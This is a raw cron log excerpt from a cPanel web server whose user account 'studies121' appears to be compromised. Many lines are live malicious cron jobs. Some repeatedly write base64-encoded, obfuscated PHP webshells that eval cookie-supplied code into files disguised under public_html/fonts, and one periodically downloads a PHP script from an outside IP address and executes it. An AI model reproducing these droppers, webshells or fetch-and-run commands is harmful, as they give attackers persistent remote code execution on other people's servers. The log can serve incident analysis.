Aug 30 05:51:01 ip-184-168-122-23 CROND[23754]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:51:01 ip-184-168-122-23 CROND[23755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:52:01 ip-184-168-122-23 CROND[23836]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:52:01 ip-184-168-122-23 CROND[23838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:52:01 ip-184-168-122-23 CROND[23839]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:52:01 ip-184-168-122-23 CROND[23842]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:52:01 ip-184-168-122-23 CROND[23843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:53:01 ip-184-168-122-23 CROND[23921]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:53:01 ip-184-168-122-23 CROND[23923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:53:01 ip-184-168-122-23 CROND[23925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:53:01 ip-184-168-122-23 CROND[23927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:54:02 ip-184-168-122-23 CROND[24097]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:54:02 ip-184-168-122-23 CROND[24099]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:54:02 ip-184-168-122-23 CROND[24100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:54:02 ip-184-168-122-23 CROND[24104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:54:02 ip-184-168-122-23 CROND[24103]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:55:01 ip-184-168-122-23 CROND[24199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:55:01 ip-184-168-122-23 CROND[24203]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:55:01 ip-184-168-122-23 CROND[24201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:55:01 ip-184-168-122-23 CROND[24204]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:55:01 ip-184-168-122-23 CROND[24205]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:55:01 ip-184-168-122-23 CROND[24202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:56:01 ip-184-168-122-23 CROND[24286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:56:01 ip-184-168-122-23 CROND[24289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:56:01 ip-184-168-122-23 CROND[24288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:56:01 ip-184-168-122-23 CROND[24290]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:56:01 ip-184-168-122-23 CROND[24291]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:57:01 ip-184-168-122-23 CROND[24381]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:57:01 ip-184-168-122-23 CROND[24382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:57:01 ip-184-168-122-23 CROND[24383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:57:01 ip-184-168-122-23 CROND[24385]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:58:02 ip-184-168-122-23 CROND[24487]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:58:02 ip-184-168-122-23 CROND[24488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:58:02 ip-184-168-122-23 CROND[24486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:58:02 ip-184-168-122-23 CROND[24489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:58:02 ip-184-168-122-23 CROND[24490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:59:01 ip-184-168-122-23 CROND[24583]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:59:01 ip-184-168-122-23 CROND[24585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:59:01 ip-184-168-122-23 CROND[24584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:59:01 ip-184-168-122-23 CROND[24586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:00:01 ip-184-168-122-23 CROND[24677]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Aug 30 06:00:01 ip-184-168-122-23 CROND[24678]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:00:01 ip-184-168-122-23 CROND[24680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:00:01 ip-184-168-122-23 CROND[24682]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:00:01 ip-184-168-122-23 CROND[24687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:00:01 ip-184-168-122-23 CROND[24689]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:00:01 ip-184-168-122-23 CROND[24685]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Aug 30 06:00:01 ip-184-168-122-23 CROND[24686]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 06:00:01 ip-184-168-122-23 CROND[24684]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 06:00:01 ip-184-168-122-23 CROND[24688]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 06:01:01 ip-184-168-122-23 CROND[24871]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24871]: starting 0anacron
Aug 30 06:01:01 ip-184-168-122-23 CROND[24880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:01:01 ip-184-168-122-23 CROND[24878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:01:01 ip-184-168-122-23 CROND[24877]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 06:01:01 ip-184-168-122-23 CROND[24879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:01:01 ip-184-168-122-23 CROND[24882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24891]: finished 0anacron
Aug 30 06:02:01 ip-184-168-122-23 CROND[24969]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:02:01 ip-184-168-122-23 CROND[24971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 06:02:01 ip-184-168-122-23 CROND[24973]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:02:01 ip-184-168-122-23 CROND[24974]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 06:02:01 ip-184-168-122-23 CROND[24975]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 06:03:01 ip-184-168-122-23 CROND[25056]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 06:03:01 ip-184-168-122-23 CROND[25058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 06:03:01 ip-184-168-122-23 CROND[25059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
